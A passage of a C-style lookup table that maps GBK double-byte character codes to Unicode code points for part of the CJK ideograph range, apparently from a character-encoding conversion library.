{0x6cd2,0x8969},{0x6dd2,0x896a},{0x6ed2,0x896b},{0x6fd2,0x896c},{0x70d2,0x896d},
{0x71d2,0x896e},{0x72d2,0x896f},{0x73d2,0x8970},{0x74d2,0x8971},{0x75d2,0x8972},
{0x76d2,0x8973},{0x77d2,0x8974},{0x78d2,0x8975},{0x79d2,0x8976},{0x7ad2,0x8977},
{0x7bd2,0x8978},{0x7cd2,0x8979},{0x7dd2,0x897a},{0xe1f1,0x897b},{0x7ed2,0x897c},
{0x80d2,0x897d},{0x81d2,0x897e},{0xf7ce,0x897f},{0x82d2,0x8980},{0xaad2,0x8981},
{0x83d2,0x8982},{0xfbf1,0x8983},{0x84d2,0x8984},{0x85d2,0x8985},{0xb2b8,0x8986},
{0x86d2,0x8987},{0x87d2,0x8988},{0x88d2,0x8989},{0x89d2,0x898a},{0x8ad2,0x898b},
{0x8bd2,0x898c},{0x8cd2,0x898d},{0x8dd2,0x898e},{0x8ed2,0x898f},{0x8fd2,0x8990},
{0x90d2,0x8991},{0x91d2,0x8992},{0x92d2,0x8993},{0x93d2,0x8994},{0x94d2,0x8995},
{0x95d2,0x8996},{0x96d2,0x8997},{0x97d2,0x8998},{0x98d2,0x8999},{0x99d2,0x899a},
{0x9ad2,0x899b},{0x9bd2,0x899c},{0x9cd2,0x899d},{0x9dd2,0x899e},{0x9ed2,0x899f},
{0x9fd2,0x89a0},{0xa0d2,0x89a1},{0x40d3,0x89a2},{0x41d3,0x89a3},{0x42d3,0x89a4},
{0x43d3,0x89a5},{0x44d3,0x89a6},{0x45d3,0x89a7},{0x46d3,0x89a8},{0x47d3,0x89a9},
{0x48d3,0x89aa},{0x49d3,0x89ab},{0x4ad3,0x89ac},{0x4bd3,0x89ad},{0x4cd3,0x89ae},
{0x4dd3,0x89af},{0x4ed3,0x89b0},{0x4fd3,0x89b1},{0x50d3,0x89b2},{0x51d3,0x89b3},
{0x52d3,0x89b4},{0x53d3,0x89b5},{0x54d3,0x89b6},{0x55d3,0x89b7},{0x56d3,0x89b8},
{0x57d3,0x89b9},{0x58d3,0x89ba},{0x59d3,0x89bb},{0x5ad3,0x89bc},{0x5bd3,0x89bd},
{0x5cd3,0x89be},{0x5dd3,0x89bf},{0x5ed3,0x89c0},{0xfbbc,0x89c1},{0xdbb9,0x89c2},
{0x5fd3,0x89c3},{0xe6b9,0x89c4},{0xd9c3,0x89c5},{0xd3ca,0x89c6},{0xe8ea,0x89c7},
{0xc0c0,0x89c8},{0xf5be,0x89c9},{0xe9ea,0x89ca},{0xeaea,0x89cb},{0xebea,0x89cc},
{0x60d3,0x89cd},{0xecea,0x89ce},{0xedea,0x89cf},{0xeeea,0x89d0},{0xefea,0x89d1},
{0xc7bd,0x89d2},{0x61d3,0x89d3},{0x62d3,0x89d4},{0x63d3,0x89d5},{0xfbf5,0x89d6},
{0x64d3,0x89d7},{0x65d3,0x89d8},{0x66d3,0x89d9},{0xfdf5,0x89da},{0x67d3,0x89db},
{0xfef5,0x89dc},{0x68d3,0x89dd},{0xfcf5,0x89de},{0x69d3,0x89df},{0x6ad3,0x89e0},
{0x6bd3,0x89e1},{0x6cd3,0x89e2},{0xe2bd,0x89e3},{0x6dd3,0x89e4},{0xa1f6,0x89e5},
{0xa5b4,0x89e6},{0x6ed3,0x89e7},{0x6fd3,0x89e8},{0x70d3,0x89e9},{0x71d3,0x89ea},
{0xa2f6,0x89eb},{0x72d3,0x89ec},{0x73d3,0x89ed},{0x74d3,0x89ee},{0xa3f6,0x89ef},
{0x75d3,0x89f0},{0x76d3,0x89f1},{0x77d3,0x89f2},{0xb2ec,0x89f3},{0x78d3,0x89f4},
{0x79d3,0x89f5},{0x7ad3,0x89f6},{0x7bd3,0x89f7},{0x7cd3,0x89f8},{0x7dd3,0x89f9},
{0x7ed3,0x89fa},{0x80d3,0x89fb},{0x81d3,0x89fc},{0x82d3,0x89fd},{0x83d3,0x89fe},
{0xd4d1,0x8a00},{0x85d3,0x8a01},{0x86d3,0x8a02},{0x87d3,0x8a03},{0x88d3,0x8a04},
{0x89d3,0x8a05},{0x8ad3,0x8a06},{0xead9,0x8a07},{0x8bd3,0x8a08},{0x8cd3,0x8a09},
{0x8dd3,0x8a0a},{0x8ed3,0x8a0b},{0x8fd3,0x8a0c},{0x90d3,0x8a0d},{0x91d3,0x8a0e},
{0x92d3,0x8a0f},{0x93d3,0x8a10},{0x94d3,0x8a11},{0x95d3,0x8a12},{0x96d3,0x8a13},
{0x97d3,0x8a14},{0x98d3,0x8a15},{0x99d3,0x8a16},{0x9ad3,0x8a17},{0x9bd3,0x8a18},
{0x9cd3,0x8a19},{0x9dd3,0x8a1a},{0x9ed3,0x8a1b},{0x9fd3,0x8a1c},{0xa0d3,0x8a1d},
{0x40d4,0x8a1e},{0x41d4,0x8a1f},{0x42d4,0x8a20},{0x43d4,0x8a21},{0x44d4,0x8a22},
{0x45d4,0x8a23},{0x46d4,0x8a24},{0x47d4,0x8a25},{0x48d4,0x8a26},{0x49d4,0x8a27},
{0x4ad4,0x8a28},{0x4bd4,0x8a29},{0x4cd4,0x8a2a},{0x4dd4,0x8a2b},{0x4ed4,0x8a2c},
{0x4fd4,0x8a2d},{0x50d4,0x8a2e},{0x51d4,0x8a2f},{0x52d4,0x8a30},{0x53d4,0x8a31},
{0x54d4,0x8a32},{0x55d4,0x8a33},{0x56d4,0x8a34},{0x57d4,0x8a35},{0x58d4,0x8a36},
{0x59d4,0x8a37},{0x5ad4,0x8a38},{0x5bd4,0x8a39},{0x5cd4,0x8a3a},{0x5dd4,0x8a3b},
{0x5ed4,0x8a3c},{0x5fd4,0x8a3d},{0xa4f6,0x8a3e},{0x60d4,0x8a3f},{0x61d4,0x8a40},
{0x62d4,0x8a41},{0x63d4,0x8a42},{0x64d4,0x8a43},{0x65d4,0x8a44},{0x66d4,0x8a45},
{0x67d4,0x8a46},{0x68d4,0x8a47},{0xbaee,0x8a48},{0x69d4,0x8a49},{0x6ad4,0x8a4a},
{0x6bd4,0x8a4b},{0x6cd4,0x8a4c},{0x6dd4,0x8a4d},{0x6ed4,0x8a4e},{0x6fd4,0x8a4f},
{0x70d4,0x8a50},{0x71d4,0x8a51},{0x72d4,0x8a52},{0x73d4,0x8a53},{0x74d4,0x8a54},
{0x75d4,0x8a55},{0x76d4,0x8a56},{0x77d4,0x8a57},{0x78d4,0x8a58},{0x79d4,0x8a59},
{0x7ad4,0x8a5a},{0x7bd4,0x8a5b},{0x7cd4,0x8a5c},{0x7dd4,0x8a5d},{0x7ed4,0x8a5e},
{0x80d4,0x8a5f},{0x81d4,0x8a60},{0x82d4,0x8a61},{0x83d4,0x8a62},{0x84d4,0x8a63},
{0x85d4,0x8a64},{0x86d4,0x8a65},{0x87d4,0x8a66},{0x88d4,0x8a67},{0x89d4,0x8a68},
{0x8ad4,0x8a69},{0x8bd4,0x8a6a},{0x8cd4,0x8a6b},{0x8dd4,0x8a6c},{0x8ed4,0x8a6d},
{0x8fd4,0x8a6e},{0x90d4,0x8a6f},{0x91d4,0x8a70},{0x92d4,0x8a71},{0x93d4,0x8a72},
{0x94d4,0x8a73},{0x95d4,0x8a74},{0x96d4,0x8a75},{0x97d4,0x8a76},{0x98d4,0x8a77},
{0x99d4,0x8a78},{0xb2d5,0x8a79},{0x9ad4,0x8a7a},{0x9bd4,0x8a7b},{0x9cd4,0x8a7c},
{0x9dd4,0x8a7d},{0x9ed4,0x8a7e},{0x9fd4,0x8a7f},{0xa0d4,0x8a80},{0x40d5,0x8a81},
{0x41d5,0x8a82},{0x42d5,0x8a83},{0x43d5,0x8a84},{0x44d5,0x8a85},{0x45d5,0x8a86},
{0x46d5,0x8a87},{0x47d5,0x8a88},{0xfed3,0x8a89},{0xdccc,0x8a8a},{0x48d5,0x8a8b},
{0x49d5,0x8a8c},{0x4ad5,0x8a8d},{0x4bd5,0x8a8e},{0x4cd5,0x8a8f},{0x4dd5,0x8a90},
{0x4ed5,0x8a91},{0x4fd5,0x8a92},{0xc4ca,0x8a93},{0x50d5,0x8a94},{0x51d5,0x8a95},
{0x52d5,0x8a96},{0x53d5,0x8a97},{0x54d5,0x8a98},{0x55d5,0x8a99},{0x56d5,0x8a9a},
{0x57d5,0x8a9b},{0x58d5,0x8a9c},{0x59d5,0x8a9d},{0x5ad5,0x8a9e},{0x5bd5,0x8a9f},
{0x5cd5,0x8aa0},{0x5dd5,0x8aa1},{0x5ed5,0x8aa2},{0x5fd5,0x8aa3},{0x60d5,0x8aa4},
{0x61d5,0x8aa5},{0x62d5,0x8aa6},{0x63d5,0x8aa7},{0x64d5,0x8aa8},{0x65d5,0x8aa9},
{0x66d5,0x8aaa},{0x67d5,0x8aab},{0x68d5,0x8aac},{0x69d5,0x8aad},{0x6ad5,0x8aae},
{0x6bd5,0x8aaf},{0x6cd5,0x8ab0},{0x6dd5,0x8ab1},{0x6ed5,0x8ab2},{0x6fd5,0x8ab3},
{0x70d5,0x8ab4},{0x71d5,0x8ab5},{0x72d5,0x8ab6},{0x73d5,0x8ab7},{0x74d5,0x8ab8},
{0x75d5,0x8ab9},{0x76d5,0x8aba},{0x77d5,0x8abb},{0x78d5,0x8abc},{0x79d5,0x8abd},
{0x7ad5,0x8abe},{0x7bd5,0x8abf},{0x7cd5,0x8ac0},{0x7dd5,0x8ac1},{0x7ed5,0x8ac2},
{0x80d5,0x8ac3},{0x81d5,0x8ac4},{0x82d5,0x8ac5},{0x83d5,0x8ac6},{0x84d5,0x8ac7},
{0x85d5,0x8ac8},{0x86d5,0x8ac9},{0x87d5,0x8aca},{0x88d5,0x8acb},{0x89d5,0x8acc},
{0x8ad5,0x8acd},{0x8bd5,0x8ace},{0x8cd5,0x8acf},{0x8dd5,0x8ad0},{0x8ed5,0x8ad1},
{0x8fd5,0x8ad2},{0x90d5,0x8ad3},{0x91d5,0x8ad4},{0x92d5,0x8ad5},{0x93d5,0x8ad6},
{0x94d5,0x8ad7},{0x95d5,0x8ad8},{0x96d5,0x8ad9},{0x97d5,0x8ada},{0x98d5,0x8adb},
{0x99d5,0x8adc},{0x9ad5,0x8add},{0x9bd5,0x8ade},{0x9cd5,0x8adf},{0x9dd5,0x8ae0},
{0x9ed5,0x8ae1},{0x9fd5,0x8ae2},{0xa0d5,0x8ae3},{0x40d6,0x8ae4},{0x41d6,0x8ae5},
{0x42d6,0x8ae6},{0x43d6,0x8ae7},{0x44d6,0x8ae8},{0x45d6,0x8ae9},{0x46d6,0x8aea},
{0x47d6,0x8aeb},{0x48d6,0x8aec},{0x49d6,0x8aed},{0x4ad6,0x8aee},{0x4bd6,0x8aef},
{0x4cd6,0x8af0},{0x4dd6,0x8af1},{0x4ed6,0x8af2},{0x4fd6,0x8af3},{0x50d6,0x8af4},
{0x51d6,0x8af5},{0x52d6,0x8af6},{0x53d6,0x8af7},{0x54d6,0x8af8},{0x55d6,0x8af9},
{0x56d6,0x8afa},{0x57d6,0x8afb},{0x58d6,0x8afc},{0x59d6,0x8afd},{0x5ad6,0x8afe},
{0x5cd6,0x8b00},{0x5dd6,0x8b01},{0x5ed6,0x8b02},{0x5fd6,0x8b03},{0x60d6,0x8b04},
{0x61d6,0x8b05},{0x62d6,0x8b06},{0xc0e5,0x8b07},{0x63d6,0x8b08},{0x64d6,0x8b09},
{0x65d6,0x8b0a},{0x66d6,0x8b0b},{0x67d6,0x8b0c},{0x68d6,0x8b0d},{0x69d6,0x8b0e},
{0x6ad6,0x8b0f},{0x6bd6,0x8b10},{0x6cd6,0x8b11},{0x6dd6,0x8b12},{0x6ed6,0x8b13},
{0x6fd6,0x8b14},{0x70d6,0x8b15},{0x71d6,0x8b16},{0x72d6,0x8b17},{0x73d6,0x8b18},
{0x74d6,0x8b19},{0x75d6,0x8b1a},{0x76d6,0x8b1b},{0x77d6,0x8b1c},{0x78d6,0x8b1d},
{0x79d6,0x8b1e},{0x7ad6,0x8b1f},{0x7bd6,0x8b20},{0x7cd6,0x8b21},{0x7dd6,0x8b22},
{0x7ed6,0x8b23},{0x80d6,0x8b24},{0x81d6,0x8b25},{0xa5f6,0x8b26},{0x82d6,0x8b27},
{0x83d6,0x8b28},{0x84d6,0x8b29},{0x85d6,0x8b2a},{0x86d6,0x8b2b},{0x87d6,0x8b2c},
{0x88d6,0x8b2d},{0x89d6,0x8b2e},{0x8ad6,0x8b2f},{0x8bd6,0x8b30},{0x8cd6,0x8b31},
{0x8dd6,0x8b32},{0x8ed6,0x8b33},{0x8fd6,0x8b34},{0x90d6,0x8b35},{0x91d6,0x8b36},
{0x92d6,0x8b37},{0x93d6,0x8b38},{0x94d6,0x8b39},{0x95d6,0x8b3a},{0x96d6,0x8b3b},
{0x97d6,0x8b3c},{0x98d6,0x8b3d},{0x99d6,0x8b3e},{0x9ad6,0x8b3f},{0x9bd6,0x8b40},
{0x9cd6,0x8b41},{0x9dd6,0x8b42},{0x9ed6,0x8b43},{0x9fd6,0x8b44},{0xa0d6,0x8b45},
{0x40d7,0x8b46},{0x41d7,0x8b47},{0x42d7,0x8b48},{0x43d7,0x8b49},{0x44d7,0x8b4a},
{0x45d7,0x8b4b},{0x46d7,0x8b4c},{0x47d7,0x8b4d},{0x48d7,0x8b4e},{0x49d7,0x8b4f},
{0x4ad7,0x8b50},{0x4bd7,0x8b51},{0x4cd7,0x8b52},{0x4dd7,0x8b53},{0x4ed7,0x8b54},
{0x4fd7,0x8b55},{0x50d7,0x8b56},{0x51d7,0x8b57},{0x52d7,0x8b58},{0x53d7,0x8b59},
{0x54d7,0x8b5a},{0x55d7,0x8b5b},{0x56d7,0x8b5c},{0x57d7,0x8b5d},{0x58d7,0x8b5e},
{0x59d7,0x8b5f},{0x5ad7,0x8b60},{0x5bd7,0x8b61},{0x5cd7,0x8b62},{0x5dd7,0x8b63},
{0x5ed7,0x8b64},{0x5fd7,0x8b65},{0xafbe,0x8b66},{0x60d7,0x8b67},{0x61d7,0x8b68},
{0x62d7,0x8b69},{0x63d7,0x8b6a},{0x64d7,0x8b6b},{0xa9c6,0x8b6c},{0x65d7,0x8b6d},
{0x66d7,0x8b6e},{0x67d7,0x8b6f},{0x68d7,0x8b70},{0x69d7,0x8b71},{0x6ad7,0x8b72},
{0x6bd7,0x8b73},{0x6cd7,0x8b74},{0x6dd7,0x8b75},{0x6ed7,0x8b76},{0x6fd7,0x8b77},
{0x70d7,0x8b78},{0x71d7,0x8b79},{0x72d7,0x8b7a},{0x73d7,0x8b7b},{0x74d7,0x8b7c},
{0x75d7,0x8b7d},{0x76d7,0x8b7e},{0x77d7,0x8b7f},{0x78d7,0x8b80},{0x79d7,0x8b81},
{0x7ad7,0x8b82},{0x7bd7,0x8b83},{0x7cd7,0x8b84},{0x7dd7,0x8b85},{0x7ed7,0x8b86},
{0x80d7,0x8b87},{0x81d7,0x8b88},{0x82d7,0x8b89},{0x83d7,0x8b8a},{0x84d7,0x8b8b},
{0x85d7,0x8b8c},{0x86d7,0x8b8d},{0x87d7,0x8b8e},{0x88d7,0x8b8f},{0x89d7,0x8b90},
{0x8ad7,0x8b91},{0x8bd7,0x8b92},{0x8cd7,0x8b93},{0x8dd7,0x8b94},{0x8ed7,0x8b95},
{0x8fd7,0x8b96},{0x90d7,0x8b97},{0x91d7,0x8b98},{0x92d7,0x8b99},{0x93d7,0x8b9a},
{0x94d7,0x8b9b},{0x95d7,0x8b9c},{0x96d7,0x8b9d},{0x97d7,0x8b9e},{0x98d7,0x8b9f},
{0xa5da,0x8ba0},{0xc6bc,0x8ba1},{0xa9b6,0x8ba2},{0xbcb8,0x8ba3},{0xcfc8,0x8ba4},
{0xa5bc,0x8ba5},{0xa6da,0x8ba6},{0xa7da,0x8ba7},{0xd6cc,0x8ba8},{0xc3c8,0x8ba9},
{0xa8da,0x8baa},{0xfdc6,0x8bab},{0x99d7,0x8bac},{0xb5d1,0x8bad},{0xe9d2,0x8bae},
{0xb6d1,0x8baf},{0xc7bc,0x8bb0},{0x9ad7,0x8bb1},{0xb2bd,0x8bb2},{0xe4bb,0x8bb3},
{0xa9da,0x8bb4},{0xaada,0x8bb5},{0xc8d1,0x8bb6},{0xabda,0x8bb7},{0xedd0,0x8bb8},
{0xefb6,0x8bb9},{0xdbc2,0x8bba},{0x9bd7,0x8bbb},{0xcfcb,0x8bbc},{0xedb7,0x8bbd},
{0xe8c9,0x8bbe},{0xc3b7,0x8bbf},{0xf7be,0x8bc0},{0xa4d6,0x8bc1},{0xacda,0x8bc2},
{0xadda,0x8bc3},{0xc0c6,0x8bc4},{0xe7d7,0x8bc5},{0xb6ca,0x8bc6},{0x9cd7,0x8bc7},
{0xa9d5,0x8bc8},{0xdfcb,0x8bc9},{0xefd5,0x8bca},{0xaeda,0x8bcb},{0xdfd6,0x8bcc},
{0xcab4,0x8bcd},{0xb0da,0x8bce},{0xafda,0x8bcf},{0x9dd7,0x8bd0},{0xebd2,0x8bd1},
{0xb1da,0x8bd2},{0xb2da,0x8bd3},{0xb3da,0x8bd4},{0xd4ca,0x8bd5},{0xb4da,0x8bd6},
{0xabca,0x8bd7},{0xb5da,0x8bd8},{0xb6da,0x8bd9},{0xcfb3,0x8bda},{0xefd6,0x8bdb},
{0xb7da,0x8bdc},{0xb0bb,0x8bdd},{0xaeb5,0x8bde},{0xb8da,0x8bdf},{0xb9da,0x8be0},
{0xeeb9,0x8be1},{0xafd1,0x8be2},{0xe8d2,0x8be3},{0xbada,0x8be4},{0xc3b8,0x8be5},
{0xeacf,0x8be6},{0xefb2,0x8be7},{0xbbda,0x8be8},{0xbcda,0x8be9},{0x9ed7,0x8bea},
{0xebbd,0x8beb},{0xdcce,0x8bec},{0xefd3,0x8bed},{0xbdda,0x8bee},{0xf3ce,0x8bef},
{0xbeda,0x8bf0},{0xd5d3,0x8bf1},{0xe5bb,0x8bf2},{0xbfda,0x8bf3},{0xb5cb,0x8bf4},
{0xd0cb,0x8bf5},{0xc0da,0x8bf6},{0xebc7,0x8bf7},{0xeed6,0x8bf8},{0xc1da,0x8bf9},
{0xb5c5,0x8bfa},{0xc1b6,0x8bfb},{0xc2da,0x8bfc},{0xccb7,0x8bfd},{0xcebf,0x8bfe},
{0xc4da,0x8c00},{0xadcb,0x8c01},{0xc5da,0x8c02},{0xf7b5,0x8c03},{0xc6da,0x8c04},
{0xc2c1,0x8c05},{0xbbd7,0x8c06},{0xc7da,0x8c07},{0xb8cc,0x8c08},{0x9fd7,0x8c09},
{0xead2,0x8c0a},{0xb1c4,0x8c0b},{0xc8da,0x8c0c},{0xfdb5,0x8c0d},{0xd1bb,0x8c0e},
{0xc9da,0x8c0f},{0xb3d0,0x8c10},{0xcada,0x8c11},{0xcbda,0x8c12},{0xbdce,0x8c13},
{0xccda,0x8c14},{0xcdda,0x8c15},{0xceda,0x8c16},{0xf7b2,0x8c17},{0xd1da,0x8c18},
{0xcfda,0x8c19},{0xe8d1,0x8c1a},{0xd0da,0x8c1b},{0xd5c3,0x8c1c},{0xd2da,0x8c1d},
{0xa0d7,0x8c1e},{0xd3da,0x8c1f},{0xd4da,0x8c20},{0xd5da,0x8c21},{0xbbd0,0x8c22},
{0xa5d2,0x8c23},{0xf9b0,0x8c24},{0xd6da,0x8c25},{0xabc7,0x8c26},{0xd7da,0x8c27},
{0xf7bd,0x8c28},{0xa1c3,0x8c29},{0xd8da,0x8c2a},{0xd9da,0x8c2b},{0xfdc3,0x8c2c},
{0xb7cc,0x8c2d},{0xdada,0x8c2e},{0xdbda,0x8c2f},{0xbec0,0x8c30},{0xd7c6,0x8c31},
{0xdcda,0x8c32},{0xddda,0x8c33},{0xb4c7,0x8c34},{0xdeda,0x8c35},{0xdfda,0x8c36},
{0xc8b9,0x8c37},{0x40d8,0x8c38},{0x41d8,0x8c39},{0x42d8,0x8c3a},{0x43d8,0x8c3b},
{0x44d8,0x8c3c},{0x45d8,0x8c3d},{0x46d8,0x8c3e},{0x47d8,0x8c3f},{0x48d8,0x8c40},
{0xedbb,0x8c41},{0x49d8,0x8c42},{0x4ad8,0x8c43},{0x4bd8,0x8c44},{0x4cd8,0x8c45},
{0xb9b6,0x8c46},{0xf8f4,0x8c47},{0x4dd8,0x8c48},{0xf9f4,0x8c49},{0x4ed8,0x8c4a},
{0x4fd8,0x8c4b},{0xe3cd,0x8c4c},{0x50d8,0x8c4d},{0x51d8,0x8c4e},{0x52d8,0x8c4f},
{0x53d8,0x8c50},{0x54d8,0x8c51},{0x55d8,0x8c52},{0x56d8,0x8c53},{0x57d8,0x8c54},
{0xb9f5,0x8c55},{0x58d8,0x8c56},{0x59d8,0x8c57},{0x5ad8,0x8c58},{0x5bd8,0x8c59},
{0xe0eb,0x8c5a},{0x5cd8,0x8c5b},{0x5dd8,0x8c5c},{0x5ed8,0x8c5d},{0x5fd8,0x8c5e},
{0x60d8,0x8c5f},{0x61d8,0x8c60},{0xf3cf,0x8c61},{0xbfbb,0x8c62},{0x62d8,0x8c63},
{0x63d8,0x8c64},{0x64d8,0x8c65},{0x65d8,0x8c66},{0x66d8,0x8c67},{0x67d8,0x8c68},
{0x68d8,0x8c69},{0xc0ba,0x8c6a},{0xa5d4,0x8c6b},{0x69d8,0x8c6c},{0x6ad8,0x8c6d},
{0x6bd8,0x8c6e},{0x6cd8,0x8c6f},{0x6dd8,0x8c70},{0x6ed8,0x8c71},{0x6fd8,0x8c72},
{0xd9e1,0x8c73},{0x70d8,0x8c74},{0x71d8,0x8c75},{0x72d8,0x8c76},{0x73d8,0x8c77},
{0xf4f5,0x8c78},{0xaab1,0x8c79},{0xf2b2,0x8c7a},{0x74d8,0x8c7b},{0x75d8,0x8c7c},
{0x76d8,0x8c7d},{0x77d8,0x8c7e},{0x78d8,0x8c7f},{0x79d8,0x8c80},{0x7ad8,0x8c81},
{0xf5f5,0x8c82},{0x7bd8,0x8c83},{0x7cd8,0x8c84},{0xf7f5,0x8c85},{0x7dd8,0x8c86},
{0x7ed8,0x8c87},{0x80d8,0x8c88},{0xd1ba,0x8c89},{0xf6f5,0x8c8a},{0x81d8,0x8c8b},
{0xb2c3,0x8c8c},{0x82d8,0x8c8d},{0x83d8,0x8c8e},{0x84d8,0x8c8f},{0x85d8,0x8c90},
{0x86d8,0x8c91},{0x87d8,0x8c92},{0x88d8,0x8c93},{0xf9f5,0x8c94},{0x89d8,0x8c95},
{0x8ad8,0x8c96},{0x8bd8,0x8c97},{0xf8f5,0x8c98},{0x8cd8,0x8c99},{0x8dd8,0x8c9a},
{0x8ed8,0x8c9b},{0x8fd8,0x8c9c},{0x90d8,0x8c9d},{0x91d8,0x8c9e},{0x92d8,0x8c9f},
{0x93d8,0x8ca0},{0x94d8,0x8ca1},{0x95d8,0x8ca2},{0x96d8,0x8ca3},{0x97d8,0x8ca4},
{0x98d8,0x8ca5},{0x99d8,0x8ca6},{0x9ad8,0x8ca7},{0x9bd8,0x8ca8},{0x9cd8,0x8ca9},
{0x9dd8,0x8caa},{0x9ed8,0x8cab},{0x9fd8,0x8cac},{0xa0d8,0x8cad},{0x40d9,0x8cae},
{0x41d9,0x8caf},{0x42d9,0x8cb0},{0x43d9,0x8cb1},{0x44d9,0x8cb2},{0x45d9,0x8cb3},
{0x46d9,0x8cb4},{0x47d9,0x8cb5},{0x48d9,0x8cb6},{0x49d9,0x8cb7},{0x4ad9,0x8cb8},
{0x4bd9,0x8cb9},{0x4cd9,0x8cba},{0x4dd9,0x8cbb},{0x4ed9,0x8cbc},{0x4fd9,0x8cbd},
{0x50d9,0x8cbe},{0x51d9,0x8cbf},{0x52d9,0x8cc0},{0x53d9,0x8cc1},{0x54d9,0x8cc2},
{0x55d9,0x8cc3},{0x56d9,0x8cc4},{0x57d9,0x8cc5},{0x58d9,0x8cc6},{0x59d9,0x8cc7},
{0x5ad9,0x8cc8},{0x5bd9,0x8cc9},{0x5cd9,0x8cca},{0x5dd9,0x8ccb},{0x5ed9,0x8ccc},
{0x5fd9,0x8ccd},{0x60d9,0x8cce},{0x61d9,0x8ccf},{0x62d9,0x8cd0},{0x63d9,0x8cd1},
{0x64d9,0x8cd2},{0x65d9,0x8cd3},{0x66d9,0x8cd4},{0x67d9,0x8cd5},{0x68d9,0x8cd6},
{0x69d9,0x8cd7},{0x6ad9,0x8cd8},{0x6bd9,0x8cd9},{0x6cd9,0x8cda},{0x6dd9,0x8cdb},
{0x6ed9,0x8cdc},{0x6fd9,0x8cdd},{0x70d9,0x8cde},{0x71d9,0x8cdf},{0x72d9,0x8ce0},
{0x73d9,0x8ce1},{0x74d9,0x8ce2},{0x75d9,0x8ce3},{0x76d9,0x8ce4},{0x77d9,0x8ce5},
{0x78d9,0x8ce6},{0x79d9,0x8ce7},{0x7ad9,0x8ce8},{0x7bd9,0x8ce9},{0x7cd9,0x8cea},
{0x7dd9,0x8ceb},{0x7ed9,0x8cec},{0x80d9,0x8ced},{0x81d9,0x8cee},{0x82d9,0x8cef},
{0x83d9,0x8cf0},{0x84d9,0x8cf1},{0x85d9,0x8cf2},{0x86d9,0x8cf3},{0x87d9,0x8cf4},
{0x88d9,0x8cf5},{0x89d9,0x8cf6},{0x8ad9,0x8cf7},{0x8bd9,0x8cf8},{0x8cd9,0x8cf9},
{0x8dd9,0x8cfa},{0x8ed9,0x8cfb},{0x8fd9,0x8cfc},{0x90d9,0x8cfd},{0x91d9,0x8cfe},
{0x93d9,0x8d00},{0x94d9,0x8d01},{0x95d9,0x8d02},{0x96d9,0x8d03},{0x97d9,0x8d04},
{0x98d9,0x8d05},{0x99d9,0x8d06},{0x9ad9,0x8d07},{0x9bd9,0x8d08},{0x9cd9,0x8d09},
{0x9dd9,0x8d0a},{0x9ed9,0x8d0b},{0x9fd9,0x8d0c},{0xa0d9,0x8d0d},{0x40da,0x8d0e},
{0x41da,0x8d0f},{0x42da,0x8d10},{0x43da,0x8d11},{0x44da,0x8d12},{0x45da,0x8d13},
{0x46da,0x8d14},{0x47da,0x8d15},{0x48da,0x8d16},{0x49da,0x8d17},{0x4ada,0x8d18},
{0x4bda,0x8d19},{0x4cda,0x8d1a},{0x4dda,0x8d1b},{0x4eda,0x8d1c},{0xb4b1,0x8d1d},
{0xead5,0x8d1e},{0xbab8,0x8d1f},{0x4fda,0x8d20},{0xb1b9,0x8d21},{0xc6b2,0x8d22},
{0xf0d4,0x8d23},{0xcdcf,0x8d24},{0xdcb0,0x8d25},{0xcbd5,0x8d26},{0xf5bb,0x8d27},
{0xcad6,0x8d28},{0xb7b7,0x8d29},{0xb0cc,0x8d2a},{0xb6c6,0x8d2b},{0xe1b1,0x8d2c},
{0xbab9,0x8d2d},{0xfcd6,0x8d2e},{0xe1b9,0x8d2f},{0xa1b7,0x8d30},{0xfabc,0x8d31},
{0xdaea,0x8d32},{0xdbea,0x8d33},{0xf9cc,0x8d34},{0xf3b9,0x8d35},{0xdcea,0x8d36},
{0xfbb4,0x8d37},{0xb3c3,0x8d38},{0xd1b7,0x8d39},{0xd8ba,0x8d3a},{0xddea,0x8d3b},
{0xf4d4,0x8d3c},{0xdeea,0x8d3d},{0xd6bc,0x8d3e},{0xdfbb,0x8d3f},{0xdfea,0x8d40},
{0xdec1,0x8d41},{0xb8c2,0x8d42},{0xdfd4,0x8d43},{0xcad7,0x8d44},{0xe0ea,0x8d45},
{0xe1ea,0x8d46},{0xe4ea,0x8d47},{0xe2ea,0x8d48},{0xe3ea,0x8d49},{0xdec9,0x8d4a},
{0xb3b8,0x8d4b},{0xc4b6,0x8d4c},{0xe5ea,0x8d4d},{0xeaca,0x8d4e},{0xcdc9,0x8d4f},
{0xcdb4,0x8d50},{0x50da,0x8d51},{0x51da,0x8d52},{0xd9e2,0x8d53},{0xe2c5,0x8d54},
{0xe6ea,0x8d55},{0xb5c0,0x8d56},{0x52da,0x8d57},{0xb8d7,0x8d58},{0xe7ea,0x8d59},
{0xacd7,0x8d5a},{0xfcc8,0x8d5b},{0xd3d8,0x8d5c},{0xcdd8,0x8d5d},{0xded4,0x8d5e},
{0x53da,0x8d5f},{0xf9d4,0x8d60},{0xc4c9,0x8d61},{0xaed3,0x8d62},{0xd3b8,0x8d63},
{0xe0b3,0x8d64},{0x54da,0x8d65},{0xe2c9,0x8d66},{0xf6f4,0x8d67},{0x55da,0x8d68},
{0x56da,0x8d69},{0x57da,0x8d6a},{0xd5ba,0x8d6b},{0x58da,0x8d6c},{0xf7f4,0x8d6d},
{0x59da,0x8d6e},{0x5ada,0x8d6f},{0xdfd7,0x8d70},{0x5bda,0x8d71},{0x5cda,0x8d72},
{0xf1f4,0x8d73},{0xb0b8,0x8d74},{0xd4d5,0x8d75},{0xcfb8,0x8d76},{0xf0c6,0x8d77},
{0x5dda,0x8d78},{0x5eda,0x8d79},{0x5fda,0x8d7a},{0x60da,0x8d7b},{0x61da,0x8d7c},
{0x62da,0x8d7d},{0x63da,0x8d7e},{0x64da,0x8d7f},{0x65da,0x8d80},{0xc3b3,0x8d81},
{0x66da,0x8d82},{0x67da,0x8d83},{0xf2f4,0x8d84},{0xacb3,0x8d85},{0x68da,0x8d86},
{0x69da,0x8d87},{0x6ada,0x8d88},{0x6bda,0x8d89},{0xbdd4,0x8d8a},{0xf7c7,0x8d8b},
{0x6cda,0x8d8c},{0x6dda,0x8d8d},{0x6eda,0x8d8e},{0x6fda,0x8d8f},{0x70da,0x8d90},
{0xf4f4,0x8d91},{0x71da,0x8d92},{0x72da,0x8d93},{0xf3f4,0x8d94},{0x73da,0x8d95},
{0x74da,0x8d96},{0x75da,0x8d97},{0x76da,0x8d98},{0x77da,0x8d99},{0x78da,0x8d9a},
{0x79da,0x8d9b},{0x7ada,0x8d9c},{0x7bda,0x8d9d},{0x7cda,0x8d9e},{0xcbcc,0x8d9f},
